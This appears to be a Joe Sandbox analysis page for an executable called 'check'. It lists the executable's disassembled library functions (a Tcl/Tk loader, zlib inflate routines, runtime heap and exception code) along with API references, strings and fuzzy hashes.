Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 43e9390659465861a5b60481c49087b059b5dc524a1daaa49aebcda977406744
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: BF01A161A0CB4180EB04EF5299015FDA691BFA5FF8F684631EE5C93BD6CE3CD4218300

Function 00007FF61C4D7EFC Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D7F3A

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction ID: f5812b6d41fc16d64cc195821620be77236dd4b08bfc174d8f770c366aac301b
Opcode Fuzzy Hash: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction Fuzzy Hash: 3B015B20E1DE8240FB61BB6159012FD1190AF64FFCF744639EA5CC26CADF6CA4B18302

Function 00007FF61C4D8238 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D8251

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: e7e10a6f71157a7038c47949265a21a3aa3e556ca2d9b23fa028b83f46bbc963
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: BAE08C60F0CE0387FB123AA504822FC10204FB5B68FA01434EA0D862C3DD2C6865A322

Function 00007FF61C4DEB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF61C4DB32A,?,?,?,00007FF61C4D4F11,?,?,?,?,00007FF61C4DA48A), ref: 00007FF61C4DEBED

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: a50bd29e104eeb94c59cc0945849ce4714380d6b42e9142c22e914801452a076
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: D8F03754B0DF0240FF69A66698552FD06905FA8FA8F684531C90FC66D2ED1CE4A08320

Function 00007FF61C4DD5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF61C4D0C90,?,?,?,00007FF61C4D22FA,?,?,?,?,?,00007FF61C4D3AE9), ref: 00007FF61C4DD63A

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 43885afa1f7dba21ea83520607f28a335e0d139423f52c0f3bf68798a7817c1e
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 8BF05E10B0CA4340FF557B7258013FD12904FA4FB8F280730ED6EC56C2DD2CA4A08361

Non-executed Functions

Function 00007FF61C4C76C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF61C4C76D7
GetLastError.KERNEL32 ref: 00007FF61C4C76E9
GetProcAddress.KERNEL32 ref: 00007FF61C4C7725
GetLastError.KERNEL32 ref: 00007FF61C4C7737
GetProcAddress.KERNEL32 ref: 00007FF61C4C7750
GetLastError.KERNEL32 ref: 00007FF61C4C7762
GetProcAddress.KERNEL32 ref: 00007FF61C4C777B
GetLastError.KERNEL32 ref: 00007FF61C4C778D
GetProcAddress.KERNEL32 ref: 00007FF61C4C77A9
GetLastError.KERNEL32 ref: 00007FF61C4C77BB
GetProcAddress.KERNEL32 ref: 00007FF61C4C77D7
GetLastError.KERNEL32 ref: 00007FF61C4C77E9
GetProcAddress.KERNEL32 ref: 00007FF61C4C7805
GetLastError.KERNEL32 ref: 00007FF61C4C7817
GetProcAddress.KERNEL32 ref: 00007FF61C4C7833
GetLastError.KERNEL32 ref: 00007FF61C4C7845
GetProcAddress.KERNEL32 ref: 00007FF61C4C7861
GetLastError.KERNEL32 ref: 00007FF61C4C7873

Strings

Failed to get address for %hs, xrefs: 00007FF61C4C76F8
Tcl_JoinThread, xrefs: 00007FF61C4C7885, 00007FF61C4C78A7
Tcl_ThreadQueueEvent, xrefs: 00007FF61C4C79C7, 00007FF61C4C79E9
Tcl_Free, xrefs: 00007FF61C4C7C4B, 00007FF61C4C7C6D
Tk_Init, xrefs: 00007FF61C4C7C79, 00007FF61C4C7C9B
Tcl_CreateThread, xrefs: 00007FF61C4C7829, 00007FF61C4C784B
Tcl_EvalFile, xrefs: 00007FF61C4C7B93, 00007FF61C4C7BB5
Tcl_GetString, xrefs: 00007FF61C4C7AAD, 00007FF61C4C7ACF
Tcl_DoOneEvent, xrefs: 00007FF61C4C7771, 00007FF61C4C7793
Tcl_MutexFinalize, xrefs: 00007FF61C4C790F, 00007FF61C4C7931
Tcl_CreateObjCommand, xrefs: 00007FF61C4C7A7F, 00007FF61C4C7AA1
Tcl_EvalEx, xrefs: 00007FF61C4C7BC1, 00007FF61C4C7BE3
Tcl_DeleteInterp, xrefs: 00007FF61C4C77FB, 00007FF61C4C781D
Tcl_ConditionNotify, xrefs: 00007FF61C4C796B, 00007FF61C4C798D
Tcl_ConditionFinalize, xrefs: 00007FF61C4C793D, 00007FF61C4C795F
Tcl_MutexUnlock, xrefs: 00007FF61C4C78E1, 00007FF61C4C7903
Tcl_NewByteArrayObj, xrefs: 00007FF61C4C7B09, 00007FF61C4C7B2B
Tcl_GetObjResult, xrefs: 00007FF61C4C7B65, 00007FF61C4C7B87
Tcl_SetVar2, xrefs: 00007FF61C4C7A51, 00007FF61C4C7A73
Tcl_GetVar2, xrefs: 00007FF61C4C7A23, 00007FF61C4C7A45
Tcl_NewStringObj, xrefs: 00007FF61C4C7ADB, 00007FF61C4C7AFD
Tcl_FinalizeThread, xrefs: 00007FF61C4C77CD, 00007FF61C4C77EF
Tcl_EvalObjv, xrefs: 00007FF61C4C7BEF, 00007FF61C4C7C11
Tcl_FindExecutable, xrefs: 00007FF61C4C7746, 00007FF61C4C7768
Tcl_Finalize, xrefs: 00007FF61C4C779F, 00007FF61C4C77C1
Tcl_SetVar2Ex, xrefs: 00007FF61C4C7B37, 00007FF61C4C7B59
Tcl_CreateInterp, xrefs: 00007FF61C4C771B, 00007FF61C4C773D
Tcl_MutexLock, xrefs: 00007FF61C4C78B3, 00007FF61C4C78D5
Tcl_Init, xrefs: 00007FF61C4C76D0, 00007FF61C4C76EF
Tcl_ThreadAlert, xrefs: 00007FF61C4C79F5, 00007FF61C4C7A17
GetProcAddress, xrefs: 00007FF61C4C76FF
Tcl_GetCurrentThread, xrefs: 00007FF61C4C7857, 00007FF61C4C7879
Tcl_Alloc, xrefs: 00007FF61C4C7C1D, 00007FF61C4C7C3F
Tk_GetNumMainWindows, xrefs: 00007FF61C4C7CA7, 00007FF61C4C7CC9
Tcl_ConditionWait, xrefs: 00007FF61C4C7999, 00007FF61C4C79BB

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: 5c73d26f94856f763f822ee1da8bf6667b3c86bdb26cc5ff92f15cc2ef6bd236
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 1F02A224A0DF0792EB15DB5AA8105FC23A1AF14F7CF664431D86EC6660EF3CB5798329

Function 00007FF61C4E40AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF61C4E40FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E4766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E48DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E4B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E4DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E4FF7
memcpy_s.LIBCPMT ref: 00007FF61C4E50D2
memcpy_s.LIBCPMT ref: 00007FF61C4E517D
memcpy_s.LIBCPMT ref: 00007FF61C4E524C

Strings

1#QNAN, xrefs: 00007FF61C4E4213
1#SNAN, xrefs: 00007FF61C4E420A
1#INF, xrefs: 00007FF61C4E4223
1#IND, xrefs: 00007FF61C4E41E7

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: d61638e1cdc047d34ad0288f818848450651c702e7e5cf94575844117431f656
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: 88B2E572E1C6828BE725CEA6D4407FC37A1FB54BACF616135DA0997A84DF3CA910CB40

Function 00007FF61C4CACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid distance too far back, xrefs: 00007FF61C4CB670
invalid bit length repeat, xrefs: 00007FF61C4CB099
invalid literal/length code, xrefs: 00007FF61C4CB3E2
invalid code lengths set, xrefs: 00007FF61C4CAE2D
invalid code -- missing end-of-block, xrefs: 00007FF61C4CB0C6
invalid distances set, xrefs: 00007FF61C4CB1A0
invalid distance code, xrefs: 00007FF61C4CB5B4
too many length or distance symbols, xrefs: 00007FF61C4CAE46
invalid literal/lengths set, xrefs: 00007FF61C4CB133

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction ID: 63e2ff84d76057dc196fab23dae270c7d7d2936ec6f96eab701de124eed883d2
Opcode Fuzzy Hash: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction Fuzzy Hash: BF52F572A18AA64BD7A48F14C458BBE3BADFB44754F214139E64AC3B90DF3CD858CB44

Function 00007FF61C4CD12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF61C4CD148
RtlCaptureContext.KERNEL32 ref: 00007FF61C4CD175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF61C4CD18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF61C4CD1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF61C4CD224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF61C4CD241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF61C4CD24C

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: 8e079803cd058b40e55f64dc95e4c4fe095515896dd9f03d540984d2caa8fe7f
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: DE310772609A8186EB608F61E8843EE7364FB84B58F54443ADA4E87B98DF3CD558C714

Function 00007FF61C4DA614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF61C4DA68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF61C4DA6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF61C4DA6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF61C4DA719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF61C4DA723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF61C4DA72E

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: 3665295ce8e767e6e56d92833c75a40c2ecb08aeeff644bf2d9ff5fdb2a245aa
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: F7316F36608F8186DB60CF25E8442EE73A4FB98B68F640135EA9D87B55DF3CC165CB00

Function 00007FF61C4E1874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E18C0
FindFirstFileExW.KERNEL32 ref: 00007FF61C4E19CA

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: 2ad96d004bdf61bde1f4a8a02a838e3fe644511e13abad0571b70443e34d17ad
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: 3AB1C322B5CE9241EA61EBA394001FD6790EB54FF8F665131EE4D87B96EE3CE461C300

Function 00007FF61C4CD010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF61C4CD03C
GetCurrentThreadId.KERNEL32 ref: 00007FF61C4CD04A
GetCurrentProcessId.KERNEL32 ref: 00007FF61C4CD056
QueryPerformanceCounter.KERNEL32 ref: 00007FF61C4CD066

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 28b86ed94a1e231a41a5bee3a45c97c64ba7ada8d5b9d011930a9bd5fb591de3
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: BF115E22B18F068AEB00CF65E8442BD33B4FB19B68F040E31DA6D86BA4DF3CD1648344

Function 00007FF61C4E3C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF61C4E3C76
memcpy_s.LIBCPMT ref: 00007FF61C4E3CA1

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: c36223cf2320f38e8d912431a1ea195c8917f8f7d696e820e0185814544ad375
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: BDC11472B1CA8687E725CF5AA0446AEB7A1F784F98F529134DB4A83744DF3DE810CB40

Function 00007FF61C4CA474 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 00007FF61C4CA921
, xrefs: 00007FF61C4CA55B
unknown header flags set, xrefs: 00007FF61C4CA4C5

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction ID: 4f38da5e333b59ebe33903dd2456bcc35bb32c361956acca5fc90bee8b035eec
Opcode Fuzzy Hash: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction Fuzzy Hash: 02F1C572A0CBC58BE7A58F14C089B7E3AA9FF44B58F254538DA49873A0DF38D459C744

Function 00007FF61C4E9728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF61C4E9977
RaiseException.KERNEL32 ref: 00007FF61C4E9988

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 694fa6db6c943c300a5a16763174cc194bc9fd297ab1a35144ea3a939ecb7b0a
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: 02B12A77A18B898AEB15CF2AC8463AC7BA0F744F58F258925DA5D837A4CF3DD461C700

Function 00007FF61C4D39A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF61C4D3D54
, xrefs: 00007FF61C4D3B12

Memory Dump Source

